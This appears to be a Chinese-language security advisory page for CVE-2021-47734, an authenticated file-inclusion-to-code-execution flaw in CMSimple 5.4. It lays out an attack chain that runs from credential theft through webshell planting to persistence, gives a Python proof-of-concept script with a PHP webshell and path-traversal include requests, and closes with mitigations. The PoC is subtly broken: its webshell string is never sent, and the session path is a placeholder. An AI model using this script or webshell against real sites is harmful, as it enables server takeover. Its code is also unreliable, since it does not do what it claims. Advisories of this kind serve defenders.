IPBUF安全漏洞报告
English
CVE-2021-47734 CVSS 7.8 高危

CVE-2021-47734: CMSimple 5.4 认证本地文件包含导致远程代码执行

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47734
漏洞类型
本地文件包含/远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CMSimple 5.4

相关标签

CVE-2021-47734CMSimple本地文件包含远程代码执行LFIRCE认证绕过PHP会话劫持Web应用安全

漏洞概述

CVE-2021-47734是CMSimple 5.4版本中的一个高危安全漏洞,属于认证后的本地文件包含(Local File Inclusion, LFI)漏洞,最终可导致远程代码执行(Remote Code Execution, RCE)。该漏洞允许已经获得低权限认证的攻击者通过操纵PHP会话文件路径,并利用会话文件上传机制注入恶意PHP代码,从而在目标服务器上执行任意命令。CMSimple是一款轻量级的开源内容管理系统,广泛应用于小型网站和个人项目中。由于该漏洞需要认证才能利用,攻击者必须首先获取有效的用户凭证,这使得攻击门槛相对较高。然而,一旦攻击成功,攻击者即可完全控制服务器,获取敏感数据、植入后门或进一步横向移动。由于CVSS评分达到7.8分,漏洞严重性不容忽视,建议相关用户尽快升级到安全版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于CMSimple 5.4对用户输入的文件路径缺乏充分的验证和过滤。攻击者通过认证后,可以修改系统中处理文件包含的函数路径参数,将包含路径指向攻击者控制的PHP会话文件。CMSimple使用PHP会话机制来管理用户状态,会话数据存储在服务器端的会话文件中。攻击者利用文件上传功能或现有的会话文件写入机制,将恶意PHP代码写入会话文件。由于应用程序在处理某些功能时会包含(include)这些会话文件,恶意PHP代码将被服务器解析和执行。关键利用步骤包括:1) 攻击者首先登录系统获取有效会话;2) 通过特定参数修改文件包含路径指向会话文件;3) 利用文件上传或其他方式向会话文件中写入webshell;4) 触发文件包含操作,使恶意代码被解析执行。整个过程利用了PHP的文件包含机制和会话管理机制的组合缺陷,形成了一条完整的RCE攻击链。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描目标网站,识别CMSimple版本,确认版本为5.4且存在该漏洞
STEP 2
步骤2
获取凭证:攻击者通过暴力破解、社会工程或其他方式获取CMSimple后台管理员账号密码
STEP 3
步骤3
认证登录:使用获取的凭证登录CMSimple管理后台,建立有效PHP会话
STEP 4
步骤4
路径操纵:利用漏洞参数修改文件包含路径,指向攻击者可控制的PHP会话文件位置
STEP 5
步骤5
注入恶意代码:通过文件上传或会话文件写入机制,将恶意PHP代码(webshell)写入会话文件
STEP 6
步骤6
触发执行:发送请求触发文件包含操作,使服务器解析并执行会话文件中的恶意PHP代码
STEP 7
步骤7
远程控制:成功执行webshell,通过GET参数传递系统命令,实现对服务器的完全控制
STEP 8
步骤8
持久化:植入后门、窃取数据或横向移动至内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2021-47734 PoC - CMSimple 5.4 Authenticated LFI to RCE # Target: CMSimple 5.4 # Requirements: Valid admin credentials TARGET_URL = "http://target.com/cmsimple/" USERNAME = "admin" PASSWORD = "admin123" session = requests.Session() # Step 1: Login to get authenticated session def login(): login_url = TARGET_URL + "?_loginaction=login" data = { "userid": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return "logged_in" in response.text or response.status_code == 200 # Step 2: Upload malicious PHP code to session file def upload_shell(): # Find the file inclusion parameter upload_url = TARGET_URL + "?_sn=functions&_action=edit" # Inject PHP webshell via file path manipulation shell_code = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Step 3: Manipulate file path to include session file include_url = TARGET_URL + "?_sn=/tmp/sess_PHPSESSID" # Alternatively, use the vulnerable parameter directly exploit_params = { "_sn": "../../../tmp/sess_PHPSESSID", "_action": "include" } response = session.get(TARGET_URL, params=exploit_params) return response.text # Step 4: Execute commands via webshell def exec_command(cmd): shell_url = TARGET_URL + "?_sn=../../../tmp/sess_PHPSESSID&cmd=" + cmd response = session.get(shell_url) return response.text if __name__ == "__main__": if login(): print("[+] Login successful") print("[*] Uploading shell...") upload_shell() print("[*] Executing command: whoami") result = exec_command("whoami") print(f"[+] Result: {result}") else: print("[-] Login failed")

影响范围

CMSimple 5.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制CMSimple管理后台访问,仅允许可信IP访问;2) 强化管理员密码策略,定期更换密码;3) 禁用不必要的文件上传功能;4) 配置Web服务器限制PHP文件执行权限;5) 对关键目录实施访问控制;6) 启用详细的访问日志和监控,及时发现异常行为;7) 考虑使用虚拟补丁技术,在WAF层面阻断相关攻击流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表